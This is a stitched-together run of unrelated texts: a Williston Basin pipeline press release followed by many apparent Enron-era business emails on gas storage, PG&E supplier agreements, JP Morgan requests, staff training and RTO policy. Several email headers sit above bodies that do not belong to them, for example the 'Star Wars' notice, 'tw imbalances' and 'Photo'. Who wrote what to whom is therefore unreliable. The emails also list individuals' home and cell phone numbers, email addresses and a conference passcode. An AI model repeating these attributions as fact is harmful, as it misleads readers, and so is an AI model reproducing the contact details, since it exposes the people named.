The pipeline, expected to begin approximately 14 miles north of Gillette, Wyoming, and end south of Killdeer, North Dakota, initially would be capable of transporting from 80 to 120 million cubic feet of gas per day. "Additional pipeline transportation capacity could be added incrementally as natural gas production grows in the coalbed and other conventional fields in Wyoming and Montana, ultimately increasing the pipeline transportation volumes on this pipeline to as much as 200 million cubic feet per day," said Tony Finneman, executive vice president and general manager of Williston Basin. 
"In essence, we're looking to construct a `just-in-time' pipeline for the amount of natural gas being produced in the Powder River Basin, and we'll add capacity in step with increases in production," said Finneman, who announced the project today during the Fifth Annual Wyoming Natural Gas Fair in Jackson Hole, Wyoming. Initially, the pipeline is expected to feature three large compressor stations - one on the south end of the route in Wyoming, another in eastern Montana and the third in North Dakota. Additional transportation capacity through the pipeline can be made available by adding more compression facilities. 
The pipeline would transport natural gas from developing coalbed and conventional natural gas production in central Wyoming and south central Montana to interconnecting pipelines that will transport it to large midwestern markets. "The pipeline would also enhance access to our large natural gas storage facilities in eastern Montana," Finneman said. Availability of storage should be an advantage to large-volume consumers, such as utility companies and large industrial facilities, because they can buy natural gas when prices are low and store it for future use. 
Finneman said Williston Basin will be filing the project with the Federal Energy Regulatory Commission (FERC) in October. The selection of the pipeline's route is nearly complete and initial surveying work has begun. With FERC approval, construction could begin as early as the third quarter of 2002, with transportation service slated to begin in late 2002. 
Williston Basin Interstate Pipeline Company provides natural gas transportation and underground storage through a pipeline system in Montana, North Dakota, South Dakota and Wyoming. Williston Basin is an indirect subsidiary of MDU Resources Group, Inc., a multidimensional natural resource enterprise traded on the New York Stock Exchange as "MDU." For more information about Williston Basin, visit the company's Web site at www.wbip.com.

Jim,  

Any thoughts or guidance on the question below?

Scott
---------------------- Forwarded by Scott Neal/HOU/ECT on 11/12/2000 07:11 PM 

Rodolfo Freyre@ENRON
10/25/2000 12:13 PM
Sent by: Rodolfo Freyre@ENRON
cc:  
Subject: Above ground storage

Scott,

Any idea who could help us understand alternatives on "above ground storage" 
within North America?

Thanks, 

Rolo

EB 3889
----- Forwarded by Carol St Clair/HOU/ECT on 06/06/2001 08:58 AM -----

	Mark E Haedicke
	Sent by: Janette Elbertson
	06/05/2001 01:46 PM
		 
		 To: Alan Aronowitz/HOU/ECT@ECT, Michelle Blaine/ENRON@enronXgate, Sandi M 
Braband/HOU/ECT@ECT, Gail Brownfeld/Enron@EnronXGate, Robert 
Bruce/NA/Enron@Enron, Teresa G Bushman/HOU/ECT@ECT, Michelle 
Cash/HOU/ECT@ECT, Dominic Carolan/Enron@EnronXGate, Barton Clark/HOU/ECT@ECT, 
Harry M Collins/HOU/ECT@ECT, Mary Cook/HOU/ECT@ECT, Nancy 
Corbet/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, Ned E 
Crady/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Eddy Daniels/NA/Enron@Enron, 
Angela Davis/NA/Enron@Enron, Peter del Vecchio/HOU/ECT@ECT, Stacy E 
Dickson/HOU/ECT@ECT, Andrew Edison/NA/Enron@Enron, Roseann 
Engeldorf/Enron@EnronXGate, Shawna Flynn/HOU/ECT@ECT, Robert H 
George/NA/Enron@Enron, Barbara N Gray/HOU/ECT@ECT, Mark 
Greenberg/NA/Enron@ENRON, Wayne Gresham/HOU/ECT@ECT, Leslie 
Hansen/HOU/ECT@ECT, Jeffrey T Hodge/HOU/ECT@ECT, Brent Hendry/NA/Enron@Enron, 
Dan J Hyvl/HOU/ECT@ECT, Anne C Koehler/HOU/ECT@ECT, Cheryl 
Lindeman/ENRON@enronXgate, Dan Lyons/HOU/ECT@ECT, Kay Mann/Corp/Enron@Enron, 
Travis McCullough/HOU/ECT@ECT, Lisa Mellencamp/HOU/ECT@ECT, Janet H 
Moore/HOU/ECT@ECT, Harlan Murphy/NA/Enron@Enron, Julia Murray/HOU/ECT@ECT, 
Cheryl Nelson/NA/Enron@Enron, Gerald Nemec/HOU/ECT@ECT, Marcus 
Nettelton/NA/Enron@ENRON, Francisco Pinto 
Leite/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, David Portz/HOU/ECT@ECT, Coralina 
Rivera/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Michael A Robison/HOU/ECT@ECT, 
Daniel R Rogers/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Elizabeth 
Sager/HOU/ECT@ECT, Richard B Sanders/HOU/ECT@ECT, Frank 
Sayre/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Lance Schuler-Legal/HOU/ECT@ECT, 
Sara Shackleton/HOU/ECT@ECT, Carlos Sole/NA/Enron@Enron, Carol St 
Clair/HOU/ECT@ECT, Lou Stoler/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Sheila 
Tweed/HOU/ECT@ECT, Steve Van Hooser/HOU/ECT@ECT, John 
Viverito/Corp/Enron@Enron, Ann Elizabeth White/HOU/ECT@ECT, Randy 
Young/NA/Enron@Enron, Susan Bailey/HOU/ECT@ECT, Kimberlee A 
Bennick/HOU/ECT@ECT, Martha Braddy/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, Sarah 
Bruck/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, Genia FitzGerald/HOU/ECT@ECT, Nony 
Flores/HOU/ECT@ECT, Diane Goode/NA/Enron@Enron, Linda R Guinn/HOU/ECT@ECT, 
Marie Heard/NA/Enron@Enron, Ed B Hearn III/HOU/ECT@ECT, Mary J 
Heinitz/HOU/ECT@ECT, Tana Jones/HOU/ECT@ECT, Kathleen 
Carnahan/Enron@EnronXGate, Deb Korkmas/HOU/ECT@ECT, Laurie Mayer/HOU/ECT@ECT, 
Matt Maxwell/Corp/Enron@ENRON, Mary Ogden/HOU/ECT@ECT, Stephanie 
Panus/NA/Enron@Enron, Debra Perlingiere/HOU/ECT@ECT, Robert 
Walker/HOU/ECT@ECT, Kay Young/HOU/ECT@ECT, Merrill W Haas/HOU/ECT@ECT, 
Samantha Ferguson/NA/Enron@Enron, Majed Nachawati/NA/Enron@Enron, Suzanne 
Adams/HOU/ECT@ECT, Connie Castillo/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Margaret Doucette/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Keegan 
Farrell/NA/Enron@Enron, Nita Garcia/NA/Enron@Enron, Carolyn 
George/Corp/Enron@ENRON, Esmeralda Gonzalez/ENRON@enronXgate, Vanessa 
Griffin/ENRON@enronXgate, Martha Keesler/ENRON@enronXgate, Holly 
Keiser/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, MaryHelen 
Martinez/NA/Enron@Enron, Taffy Milligan/HOU/ECT@ECT, Rae 
Meadows/ENRON@EnronXgate, Linda J Simmons/HOU/ECT@ECT, Becky 
Spencer/HOU/ECT@ECT, Twanda Sweet/HOU/ECT@ECT, Stephanie 
Truss/Enron@EnronXGate, Alice Wright/NA/Enron@Enron, Theresa 
Zucha/NA/Enron@Enron, Reginald Shanks/HOU/ECT@ECT, Claudia Meraz/HOU/ECT@ECT
		 cc: 
		 Subject: Save the Date -- Star Wars:  The Magic of Myth

The Museum of Fine Arts Houston

Julie,

Thanks for the invitation.

Tuesday would work better for me.
I came back from California this morning and I am quite exhausted.

What is the number at which I can reach you?

Vince

"Julie" <julie@lacimagroup.com> on 02/26/2001 11:00:46 AM
cc:  
Subject: dinner

would you like to get together for dinner with us tonight (Monday) or  
tomorrow night?
?
julie

OPUC files against export provisions of CAISO MSP.  Congrats to Paul K. and 
Sue M. for assisting OPUC on this.

LYSA: Please forward or fax to Bev Hansen as I do not have an email for her.

---------------------- Forwarded by Alan Comnes/PDX/ECT on 04/24/2001 11:23 

BROWN Stefan <stefan.brown@state.or.us> on 04/24/2001 10:55:54 AM
To: "'Alan.Comnes@enron.com'" <Alan.Comnes@enron.com>
cc:  

Subject: RE: CAISO's Market Stabilization Plan

Alan,

Attached is the Commission letter.  It is being sent the FERC and each state
commission as well as NWPPC, the two western Canadian provinces.

Thanks for you help and bringing this issue to our attention.

Stefan Brown

 - MSP Protest.doc

Here it is again in case you didn't receive it.

Call me if you have any questions.

Thanks,
Theresa
(303) 575-6485

From: Julie A Hartness [mailto:jahartn@ppco.com]
Sent: Thursday, October 18, 2001 12:31 PM
To: Staab, Theresa
Subject: September Statements

I haven't received September Statements, was afraid that they went to the
wrong e-mail address.  Let me know if you have any problems.  Thank you.

Julie Hartness
Rocky Mountain Division
1180 Plaza Office Bldg.
Bartlesville, OK
(918) 661-5810
jahartn@ppco. com

08:59 AM ---------------------------
   
	From:  Sherri Sera @ ENRON                           02/09/2001 08:38 AM
	
To: Steven J Kean/NA/Enron@Enron, John J Lavorato/Corp/Enron, David W 
Delainey/HOU/ECT@ECT, Louise Kitchen/HOU/ECT@ECT
cc:  
Subject: URG: Gas Securitization Agreements

FYI - SRS
---------------------- Forwarded by Sherri Sera/Corp/Enron on 02/09/2001 
08:39 AM ---------------------------

"Jauregui, Robert M" <RMJ4@pge.com> on 02/08/2001 07:55:44 PM
To: "'taylorja2@bp.com'" <taylorja2@bp.com>, "'mcclankg@bp.com'"  
<mcclankg@bp.com>, "'sdba@dynegy.com'" <sdba@dynegy.com>, "'njwa@dynegy.com'" 
<njwa@dynegy.com>, "'pete.j.pavluk@dynegy.com'"  <pete.j.pavluk@dynegy.com>, 
"'chuck.watson@dynegy.com'"  <chuck.watson@dynegy.com>, 
"'pwarden@pillsburywinthrop.com'"  <pwarden@pillsburywinthrop.com>, 
"'repling@pillsburywinthrop.com'"  <repling@pillsburywinthrop.com>, 
"'mmce@dynegy.com'" <mmce@dynegy.com>, "'swbe@dynegy.com'" <swbe@dynegy.com>, 
"'bcli@dynegy.com'"  <bcli@dynegy.com>, "'singleton.greg@epenergy.com'"  
<singleton.greg@epenergy.com>, "'hoferc@epenergy.com'"  
<hoferc@epenergy.com>, "'smithc@epenergy.com'" <smithc@epenergy.com>, 
"'WiseW@epenergy.com'" <WiseW@epenergy.com>, "'jonesg@epenergy.com'"  
<jonesg@epenergy.com>, "'colliw@texaco.com'" <colliw@texaco.com>, 
"'benewm@texaco.com'" <benewm@texaco.com>, "'underga@texaco.com'"  
<underga@texaco.com>, "'hans@cook-inlet.com'" <hans@cook-inlet.com>, 
"'prez@cook-inlet.com'" <prez@cook-inlet.com>, "'davidyi@cook-inlet.com'"  
<davidyi@cook-inlet.com>, "'dronn@mayerbrown.com'"  <dronn@mayerbrown.com>, 
"'swidner@coral-energy.com'"  <swidner@coral-energy.com>, 
"'blong@coral-energy.com'"  <blong@coral-energy.com>, 
"'ctise@coral-energy.com'"  <ctise@coral-energy.com>, 
"'jeff.skilling@enron.com'"  <jeff.skilling@enron.com>, 
"'william.s.bradford@enron.com'"  <william.s.bradford@enron.com>, 
"'travis.mccullough@enron.com'"  <travis.mccullough@enron.com>, 
"'ICCEnergy@aol.com'" <ICCEnergy@aol.com>, "'stefkatz@cs.com'" 
<stefkatz@cs.com>, "'msessa@sempratrading.com'"  <msessa@sempratrading.com>, 
"'dfelsinger@sempra.com'"  <dfelsinger@sempra.com>, "'mcosta@stroock.com'" 
<mcosta@stroock.com>, "'jshorter@txuenergy.com'" <jshorter@txuenergy.com>, 
"'mperkins2@txuelectric.com'" <mperkins2@txuelectric.com>, 
"'cenochs@txuenergy.com'" <cenochs@txuenergy.com>, 
"'bjeffrie@westerngas.com'" <bjeffrie@westerngas.com>, 
"'ryanmcgeachie@aec.ca'" <ryanmcgeachie@aec.ca>, "'richarddaniel@aec.ca'"  
<richarddaniel@aec.ca>, "'jones.murphy@williams.com'"  
<jones.murphy@williams.com>, "'randall.o'neal@williams.com'"  
<randall.o'neal@williams.com>, "'kelly.knowlton@williams.com'"  
<kelly.knowlton@williams.com>, "'connie.turner@williams.com'"  
<connie.turner@williams.com>, "'scampbell@txuenergy.com'"  
<scampbell@txuenergy.com>, "'ilydiatt@altra.com'" <ilydiatt@altra.com>, 
"'dkohler@br-inc.com'" <dkohler@br-inc.com>, "'Reason@br-inc.com'"  
<Reason@br-inc.com>, "'sallen@duke-energy.com'" <sallen@duke-energy.com>, 
"'rsbaker@duke-energy.com'" <rsbaker@duke-energy.com>, 
"'richard.ruzika@gs.com'" <richard.ruzika@gs.com>, 
"'steve.brown@southernenergy.com'" <steve.brown@southernenergy.com>, 
"'kenny.foo@ngx.com'" <kenny.foo@ngx.com>, "'tgary@pcenergy.com'"  
<tgary@pcenergy.com>, "'bredd@pcenergy.com'" <bredd@pcenergy.com>, 
"'harry_wijsman@pcp.ca'" <harry_wijsman@pcp.ca>, "'celias@pcenergy.com'"  
<celias@pcenergy.com>, "'Hal-Borlan@reliantenergy.Com'"  
<Hal-Borlan@reliantenergy.Com>, "'priscilla-massey@reliantenergy.com'"  
<priscilla-massey@reliantenergy.Com>, "'llittle@reliantenergy.com'"  
<llittle@reliantenergy.Com>, "'gary-lamb@transcanada.com'"  
<gary-lamb@transcanada.com>, "'larry-desmeules@coastenergy.com'"  
<larry-desmeules@coastenergy.com>, "'five5wood@aol.com'"  
<five5wood@aol.com>, "'don.fishbeck@cmenergy.com'"  
<don.fishbeck@cmenergy.com>, "'randy.harrison@southernenergy.com'"  
<randy.harrison@southernenergy.com>, "'john.krill@engageenergy.com'"  
<john.krill@engageenergy.com>, "'glen.mackey@energy.com'"  
<glen.mackey@energy.com>, "'doug.rabey@energy.com'"  <doug.rabey@energy.com>, 
"'michael_huse@transcanada.com'"  <michael_huse@transcanada.com>
cc: "'jlopes@hrice.com'" <jlopes@hrice.com>, "'jnexon@hrice.com'"  
<jnexon@hrice.com>, "Buchsbaum, Craig M (Corp)"  
<craig.buchsbaum@pge-corp.com>, "Whelan, Steve (Corp)"  
<steve.whelan@pge-corp.com>, "Lee, Fanny" <FSL1@pge.com>, "Berkovitz, Trista" 
<TxB6@pge.com>, "Clare, David" <DWC3@pge.com>, "Woo, Shirley A (Law)" 
<SAW0@pge.com>, "McLafferty, Daniel"  <MDM8@pge.com>, "Cotroneo, Eileen" 
<EFM2@pge.com>, "'dmao@orrick.com'"  <dmao@orrick.com>, "Litteneker, Randall 
(Law)" <RJL9@pge.com>, "Gee, Dennis" <DLG3@pge.com>, "Welch, Ray" 
<RXWc@pge.com> 

Subject: URG:  Gas Securitization Agreements

I am pleased to report that, as 2/8/01, 4:00pm PST, PG&E has executed the
gas supplier security agreement and the intercreditor agreement with the
following suppliers:

* BP Energy Company
* Dynegy Canada Marketing & Trade, A Division of DCI
* Dynegy Marketing & Trade
* El Paso Merchant Energy, L.P.
* Texaco Canada
* Texaco Natural Gas
* TXU Energy Trading Canada Limited
* TXU Energy Trading Company
* Williams Energy Marketing & Trading Co. (US & Canada)

As you know, other suppliers are not precluded from future participation (we
highly encourage it) however, we will now require completion of Exhibit B
(Supplier Joinder Agreement) as outlined in 8.(j).  I would greatly
appreciate your replying to this email to let us know whether you intend to
be a party to these agreements at this time.

Please call if you have any questions.

Please forward all correspondence to:

Trista Berkovitz
Director, Gas Procurement
77 Beale Street, Room 553
San Francisco, CA  94105-1814
415. 973.2152 (bus)
415.973.9213 (fax)

NOTICE TO RECIPIENT:  THIS E-MAIL IS  MEANT FOR ONLY THE INTENDED RECIPIENT
OF THE TRANSMISSION, AND MAY BE A COMMUNICATION PRIVILEGED BY LAW.  IF YOU
RECEIVED THIS E-MAIL IN ERROR, ANY REVIEW, USE, DISSEMINATION, DISTRIBUTION,
OR COPYING OF THIS E-MAIL IS STRICTLY PROHIBITED.  PLEASE NOTIFY US
IMMEDIATELY OF THE ERROR BY RETURN E-MAIL AND PLEASE DELETE THIS MESSAGE
FROM YOUR SYSTEM. THANK YOU IN ADVANCE FOR YOUR COOPERATION.

---------------------- Forwarded by Darron C Giron/HOU/ECT on 02/07/2001 
03:41 PM ---------------------------

02/07/2001 12:04 PM
To: Jeffrey C Gossett/HOU/ECT@ECT, Darron C Giron/HOU/ECT@ECT, Errol 
McLaughlin/Corp/Enron@ENRON, Kam Keiser/HOU/ECT@ECT, William 
Kelly/HOU/ECT@ECT, Luchas Johnson/NA/Enron@Enron, Sherry 
Dawson/NA/Enron@Enron, Victor Guggenheim/HOU/ECT@ECT
cc: Cheryl Dawes/CAL/ECT@ECT 
Subject: Deals to be flipped to FT-US/CAND-ERMS book right away.

Hi guys,

Here's a spreadsheet with the list of Aquila Canada Corp. and Engage Energy 
Canada deals that need to be flipped right away.

The book is listed on the left column.  Please let me know when these are 
finished as I need to get an invoice to the customers within the next couple 
of hours.

Thanks
Stacey

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We will be doing a confernce call tomorrow am @ 10:00 our time with JP Morgan 877-382-9541 passcode 473270 to answer some of the questions, especially the CERA questions.

From: Brent.Wahl@jpmorgan.com <Brent.Wahl@jpmorgan.com>
To: Hayslett, Rod <Rod.Hayslett@ENRON.com>
CC: Eric.Fornell@jpmorgan.com <Eric.Fornell@jpmorgan.com>; DAVID.EDELSON@chase.com <DAVID.EDELSON@chase.com>; Carl_O_Vevle%JPMORGAN@restricted.chase.com <Carl_O_Vevle%JPMORGAN@restricted.chase.com>
Sent: Fri Nov 23 13:33:28 2001
Subject: Transwestern information requests

Rod:

As per our phone conversation, the list of information we would like to
have follows:

1.  FERC Form 2s for the last three years
2.  Revenue breakdown:
   Assumptions made for the contracted period, as well as the time period
   beyond current contracts - firm/interruptible mix and volumes, tariffs
   for each type of transportation contract
   A build up from contracts to the revenues in the model would be ideal
3.  As before, compressor gas volumes and assumed sales prices for the
projected years
4.  As before, the story as it relates to CERA's view of the world
5.  Explicit calculation of rate base going forward
6.  Employee benefit plan information - funding status, return rates,
future liabilities

Thanks Rod.

When you have a time in mind for a call to discuss the above list please
contact:

Eric Fornell

Home: 516-626-9464

or myself

Home: 914-833-0234
Work:   212-270-6154
Cell:      646-232-5305

From: 	Hanagriff, Richard  
Sent:	Monday, January 28, 2002 9:28 PM
To:	Schoolcraft, Darrell; Lokay, Michelle; McConnell, Mark; Lindberg, Lorraine; Y'barbo, Paul; Watson, Kimberly; Hernandez, Bert; Mulligan, Amy; Ward, Linda; Giambrone, Laura; Minter, Tracy; Miller, Christopher L
Subject:	tw imbalances

Kevin,

Thanks.

Vince

11/03/2000 06:00 AM
To: Vince J Kaminski/HOU/ECT@ECT, Mike A Roberts/HOU/ECT@ECT, Shirley 
Crenshaw/HOU/ECT@ECT
cc:  
Subject: Re: Avistar Training for Vince Kaminski  

Goodmorning Vince ,

I will inform you as to when the training will take place,
if your schedule does not permit you to attend I can 
arrange training according you your schedule.

                                        Thanks
                                    Kevin Moore

11/02/2000 02:58 PM
cc:  

Kevin, 

I would like to take the class as well.

Vince

10/31/2000 06:34 AM
To: Phillip Daigle/Corp/Enron@Enron, Cedric Belt/Corp/Enron@Enron, Paige 
Cox/Corp/Enron@Enron, Jose Marquez/Corp/Enron@ENRON, Mike A 
Roberts/HOU/ECT@ECT
Subject: Avistar Training for Vince Kaminski

Actually , Mike Roberts , Jose Marquez and myself will need the basics.

  This will be greatly appreciated.

Please get with me on a time whereby I can inform the others.

                                                                 Thanks
                                                              Kevin Moore

---------------------- Forwarded by Kevin G Moore/HOU/ECT on 10/31/2000 07:28 

Paige Cox@ENRON
10/30/2000 02:30 PM
To: Phillip Daigle/Corp/Enron@Enron
cc: Cedric Belt/Corp/Enron@Enron, Kevin G Moore/HOU/ECT@ECT 

Philip,

Please schedule some time with Kevin Moore (34710) to go up to 3240D and 
train Vince Kaminski on the Avistar system. Please show Vince and Kevin the 
basics, and take them the documentation as well.

Kevin has left for the afternoon. Please call him in the morning (Tuesday) to 
schedule a time

Thanks

Paige

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 04/06/2001 
05:50 PM ---------------------------

Sheridan Titman <titman@mail.utexas.edu> on 03/28/2001 10:22:22 AM
To: Vince.J.Kaminski@enron.com, Shirley.Crenshaw@enron.com
cc:  
Subject: consulting project

Dear Vince:

 I have now spent 16 hours on the valuation project and wanted to touch
base with you to make sure that the basic approach makes sense and that you
think we are making an appropriate amount of progress.  My invoice is
attached.

 By the way, John Martin just mentioned that you have agreed to be our
luncheon speaker at the Texas Finance Festival.  I really appreciate your
help on this and would like to schedule some time next week to talk about
it in more detail.

 I look forward to hearing from you.

regards,

Sheridan 
 - Invoice for February and March 2001.doc

Sheridan Titman
Department of Finance
College of Business Administration
University of Texas
Austin, Texas 78712-1179

512-232-2787 (phone)
512-471-5073 (fax)

titman@mail.utexas.edu

Jeff:

It was an honor to represent EBS at the Dell meeting this morning.  We are 
very
excited about the three transactions we feel we can close with Dell in the 
near
future.  I appreciated the platform you provided to advance our causes.  Thank
you again,

Marc Graubart
Director
Wholesale Origination
(713) 853-3019  office
(713) 515-9468 cellular
marc_graubart@enron.net

 =09 =09    Dear Joe,  Members of Congress return from their Thanksgiving b=
reak on Tuesday as debate resumes in Washington.  A bill that would renew t=
he Price Anderson Act is being brought to the floor of the House of Represe=
ntatives.  The bill limits the liability for the nuclear industry in the ev=
ent of a major accident.  Significant revisions were made to the legislatio=
n in the wake of the September 11 attacks, with the addition of amendments =
that would strengthen the security of America's nuclear power plants.     T=
he Washington bureau will also have more reaction to the FERC's new policy =
for determining whether a company has market power in the electricity indus=
try.  Join us for these reports from the Washington bureau on Tuesday.   Fr=
om Houston on Tuesday, we'll bring you an update on Enron's continuing fina=
ncial situation.  UBS PaineWebber's Robert Young is stopping by the Houston=
 bureau to discuss his perspective on the negotiations between Enron and Dy=
negy.  He'll join us during the 10:00 a.m. ET newscast tomorrow.   The Form=
er Energy Advisor to the Prime Minister of Iran is speaking in Houston on T=
uesday.  Dr. Fereidun Fesharaki will be talking to the Asia Society about t=
he Middle East, oil and economics. The Houston bureau will bring us a previ=
ew.   Climate Solutions Co-Director Rhys Roth will be live from Olympia, Wa=
shington during the 3:00 p.m. ET newscast on Tuesday.  West Coast Bureau Co=
rrespondent Kym McNicholas talks with Roth about the future of clean energy=
 in the Northwest and how renewables will play a major role as a future ene=
rgy source in the region.   We'll also have an update on the California Dep=
artment of Water Resources' efforts to pay generators for market transactio=
ns between January and July of this year.  Join us for reports from the Wes=
t Coast bureau.     ENL is hitting the road later this week.  Houston Corre=
spondent Kim Benestante will report live from Anchorage, Alaska.  Kim is at=
tending a conference titled: Alaska Resources 2002: Can Alaska Compete?  We=
'll have live coverage from the conference starting on Thursday.   ENL's Ga=
le Smith will attend the Arctic Gas Symposium in Houston on Thursday.  The =
symposium will address supplying the North American market and the latest p=
ipeline route update, among other topics.  We'll have coverage of the sympo=
sium on Thursday.    Closing Prices for Monday, Nov. 26, 2001    Crude: $18=
.69 -$0.27   Unleaded: $0.5217 -$0.0056   Heating Oil: $0.05217 -$0.0125   =
Natural Gas: $2.696 -$0.117   Keep in mind things are subject to change at =
a moment's notice. Occasionally guests have to cancel or change time slots.=
  We'll continue to do our best to keep you updated on future interviews an=
d events.     Be sure to watch our newscasts every business day - 9 a.m. to=
 5 p.m. ET, at the top of each hour.  =09 =09=09=09=09
=09 =09Jay Rickerts, EnergyNewsLive.com Anchor  View today's Energy Wrap Vi=
deo Windows Media Player: 56K  |  100K  |  300K  Real Player: 56K  |  100K =
 |  300K  (Requires Windows Media Player or Real Player )   Experience all =
that Williams Energy News Live has to offer!   If you are receiving this le=
tter for the first time and wish to continue, subscribe now    To stop rece=
iving this letter, unsubscribe now    If you are having trouble receiving t=
his e-mail, please let us know  or  call (800) WILLIAMS (800-945-5426) week=
days, 7am-7pm CST.    Comments? Suggestions? Let us  know  or  call (800) W=
ILLIAMS (800-945-5426) weekdays, 7am-7pm CST.    Copyright 2001 Williams En=
ergy News Live, LLC. All  Rights Reserved.  =09=09=09=09=09

I do have some issues with the proposed language and will be discussing the 
details with Dale tomorrow.

Elena Kapralova
12/21/99 11:45 AM
cc: David Forster/LON/ECT@ECT 
Subject: Final Validation of Online Products Descriptions

Mark,

could you please have a final glance at  Short and Long Descriptions for the 
5th of January EnronOnline launch.
In the file attached are the examples of the following product descriptions:

-  Emissions
-  Weather
-  US Liquids  Financial

If we do not hear from you by the end of the day Wednesday, Dec 22nd, we'll 
assume that the descriptions are fine as they are, and no changes are needed.

Thank you,
Elena
Merry Christmas and Happy New Year!

Monaco,
	Whats up with you? Great SuperBowl. I hate the Rams, so glad they lost. I'm going down to Houston to work for UBS on the gas trading desk. New commodity for me, should be fun. Looking to get back to NY at some point in the future. I know you'll still be there, stinking up the joint. Anyway, will let you know how things go. Talk to you soon.

Badeer

From: Monaco, John [EM] [mailto:john.monaco@citi.com]
Sent: Thursday, March 07, 2002 6:40 AM
To: Badeer, Robert
Subject: FW: RE: Whats up!!!!!

Still around!!!!

From: enron.mailsweeper.admin@enron.com
[mailto:enron.mailsweeper.admin@enron.com] 
Sent: Thursday, March 07, 2002 9:36 AM
To: Monaco, John [EM]
Subject: RE:RE: Whats up!!!!!

The enron.com recipient(s)

rbadeer@exchange.enron.com

have moved to a new organization.  The new email address follows the format
firstname.lastname@ubswenergy.com or
firstname.initial.lastname@ubswenergy.com (as per their original enron.com
email address).  Email sent to recipient(s) at enron.com will not be
delivered.

---------------------- Forwarded by Chris Germany/HOU/ECT on 09/08/2000 07:27 

Trogg522@aol.com on 09/07/2000 09:10:37 PM
cc:  
Subject: Photo

Charles --

Very well put.  This is another example why it is so important for you and =
Andy R. to be out with the RTO teams helping us to be more precise.  We nee=
d to blend our NERC and FERC advocacy.

Of course, you realize that ELCON will never support a PJM model central ma=
rketplace for balancing energy.  At the last EPSA meeting, ELCON really bla=
sted centralized pools. =20

Jim

From: =09Yeung, Charles =20
Sent:=09Monday, August 06, 2001 2:47 PM
To:=09'"John P. Hughes" <jhughes@elcon.org>@ENRON'
Cc:=09janderson@elcon.org; Steffes, James D.; Shapiro, Richard; Novosel, Sa=
rah; Maurer, Luiz; Nicolay, Christi L.
Subject:=09RE: SE RTO INTERREGIONAL COORDINATION

John=20

You are correct in your observations concerning market dynamics and the nee=
d for flexibility by the marketplace.  "Control area consolidation risks re=
bundling the industry and this would stifle innovation and market
dynamics."  Enron agrees with this observation and does not endorse an RTO =
structure that perpetuates the advantages control areas enjoy today in the =
marketplace.

We fully support your statement: "Our efforts should be directed at ensurin=
g adequate independence of balancing, security and interchange authorities.=
"

Enron's desire for consolidation of control areas can be misconstrued to ad=
vocate the old bundled control area structures.  I want to clarify this is =
absolutely NOT the case and Enron DOES support the CACTF model.  Specifical=
ly, the Interchange Authority functions called for in the CACTF model must =
NOT be rolled up into a single entity.  The Security Authority(SA), the Tra=
nsmission Service Provider(TSP), and the Balancing  Authority(BA) all need =
to be separated from today's transmission owner/generation owner/load servi=
ng/control area operator entities.  Independence of these functions from ma=
rket interest are critical to ensure fair and competitive markets. =20

The Interchange Authority (IA) functions do not require centralization or i=
ndependence from market participants - but rather the scheduling advantages=
 that the IA functions provide for must be available to every market partic=
ipant.  Today, the entities that operate a "control area" are advantaged by=
 the capabilities NERC rules provide under the Interchange Authority.  Unde=
r a contract path transmission model, control areas do not have to keep day=
-ahead balanced schedules and can "play" in the energy market with unbalanc=
ed portfolios up until the schedule ramping times.  Non-control areas can o=
nly get transactions approved for scheduling under specific source and sink=
 requirements that forces them to submit balanced interchange schedules.  T=
his is a major reason why competitive generators have sought to become NERC=
 certified control areas.  The CACTF model allows for the scheduling functi=
ons required of an IA to be disaggregated from the other "control area" fun=
ctions without detriment to reliability - thus levelizing the playing field=
 for all competitive PSEs.

To levelize the playing field, Enron supports 2 issues.
1) Consolidation of control areas - to provide independence to eliminate th=
e market advantages.=20
2) Elimination of day ahead balanced schedules requirements - to effectivel=
y provide the benefits of the IA function for all market players.  If there=
 are no day-ahead balanced scheduling requirements, most of the competitive=
 advantages of control areas will be eliminated.  In the same stroke, all m=
arket participants will compete on the same data and timing requriements al=
lowing for the trading of energy up until the ramping times as control area=
s enjoy today.  This is the scheduling flexibility Enron seeks to create a =
dynamic energy trading environment.

Charles Yeung
Enron Corp, Director Gov't Affairs (NERC)
713-853-0348

From: =09"John P. Hughes" <jhughes@elcon.org>@ENRON [mailto:IMCEANOTES-+22J=
ohn+20P+2E+20Hughes+22+20+3Cjhughes+40elcon+2Eorg+3E+40ENRON@ENRON.com]=20
Sent:=09Monday, August 06, 2001 12:59 AM
To:=09Maurer, Luiz; Yeung, Charles
Cc:=09Linxwilerj@safferassoc.com; Jregnery@calpine.com; Mado@dynegy.com; ro=
n_lanclos@oxy.com; hobday@hhlaw.com; sowens@entergy.com; BOBg@sepa.doe.gov;=
 jphill8@entergy.com; Paul.savage@nrgenergy.com; cpmccart@llgm.com; Jane.mu=
dgett@williams.com; Nicolay, Christi L.; ndaggs@mwe.com; Pauline.foley@pseg=
.com; bmacguineas@dykema.com; leer@sepa.doe.com; janderson@elcon.org; SScho=
tland@cgsh.com
Subject:=09SE RTO INTERREGIONAL COORDINATION

Luiz:
I have reviewed the documents you distributed on Friday regarding Enron's
position on interregional coordination.  In general, we agree with Enron's
position with the following exceptions.  We do believe that the
consolidation of "control areas" is a useful objective in the context of
creating a greater SE RTO, and, in fact, is inconsistent with Enron's
support of the CACTF's reliability model.  The RTO should also not be a
central dispatcher.  Its control of generation should be limited to
redispatch for congestion management and the maintenance of short-term
reliability.  The basic premise behind the CACTF model is that control
areas are becoming obsolete and unbundled.  Control area consolidation
risks rebundling the industry and this would stifle innovation and market
dynamics.  Our efforts should be directed at ensuring adequate independence
of balancing, security and interchange authorities.  This should be done by
FERC because NERC has no authority (or inclination) to do so.
John Hughes
Industrial Consumers

Attached is a revised Credit Watch listing as of 4/16/01.   
If there are any personnel in your group that were not included in this 
distribution, please insure that they receive a copy of this report.
To add additional people to this distribution, or if this report has been 
sent to you in error, please contact Veronica Espinoza at x6-6002.
For other questions, please contact Bill Bradford at x3-3831, Russell Diamond 
at x5-7095, or Brant Reves at x3-9897.

